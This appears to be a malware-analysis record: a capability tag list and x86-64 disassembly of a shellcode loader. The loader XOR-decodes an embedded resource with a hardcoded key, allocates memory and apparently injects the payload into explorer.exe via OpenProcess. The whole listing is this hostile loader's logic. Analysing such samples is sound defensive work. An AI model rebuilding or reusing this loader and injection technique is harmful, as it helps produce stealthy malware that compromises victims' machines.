Function at 0x140001000
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
xor ecx, ecx
mov edx, 0xc8
lea r8d, [rcx + 0xa]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
mov dword [rsp + 0x20], 0x6110c25
xor r9d, r9d
mov esi, eax
mov dword [rsp + 0x24], 0x2e141510
lea r8, [rsp + 0x21]
mov dword [rsp + 0x28], 0x1a0a071e
lea r14, str.secretxorkey
nop dword [rax + rax]
xor edx, edx
cmp ecx, 0xc
cmovne edx, ecx
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 - 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r14]
xor byte [r8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 + 1], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r14]
xor byte [r8 + 2], al
lea eax, [rcx + 1]
cmp ecx, 0xb
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 + 3], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r14]
xor byte [r8 + 4], al
lea eax, [rcx + 1]
cmp ecx, 0xb
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 + 5], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r14]
xor byte [r8 + 6], al
lea eax, [rcx + 1]
cmp ecx, 0xb
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 + 7], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
xor edx, edx
movsxd rax, ecx
movzx eax, byte [rax + r14]
xor byte [r8 + 8], al
lea eax, [rcx + 1]
cmp ecx, 0xb
cmovne edx, eax
xor ecx, ecx
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r8 + 9], al
lea eax, [rdx + 1]
cmp edx, 0xb
cmovne ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r14]
add r9d, 0xc
xor byte [r8 + 0xa], al
lea r8, [r8 + 0xc]
inc ecx
cmp r9d, 0xc
jb 0x140001080
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
mov qword [0x14001ece8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbp
lea rdx, str.shellcodePayload_addr
lea rcx, [0x14001d098]
mov rdi, rax
call fcn.140002050
mov r8, rdi
lea rdx, str.alloc_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140002050
mov r8, rsi
mov rdx, rbp
mov rcx, rdi
call fcn.140002b30
xor r9d, r9d
test esi, esi
je 0x140001255
xor r8d, r8d
mov rax, rdi
nop word [rax + rax]
xor edx, edx
lea rax, [rax + 1]
cmp r8, 0xc
cmovne rdx, r8
inc r9d
movzx ecx, byte [rdx + r14]
lea r8, [rdx + 1]
xor byte [rax - 1], cl
movsxd rcx, r9d
cmp rcx, rsi
jb 0x140001230
lea rcx, str.explorer.exe
call fcn.140001330
test eax, eax
je 0x140001294
mov r8d, eax
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001294
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call fcn.1400019c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret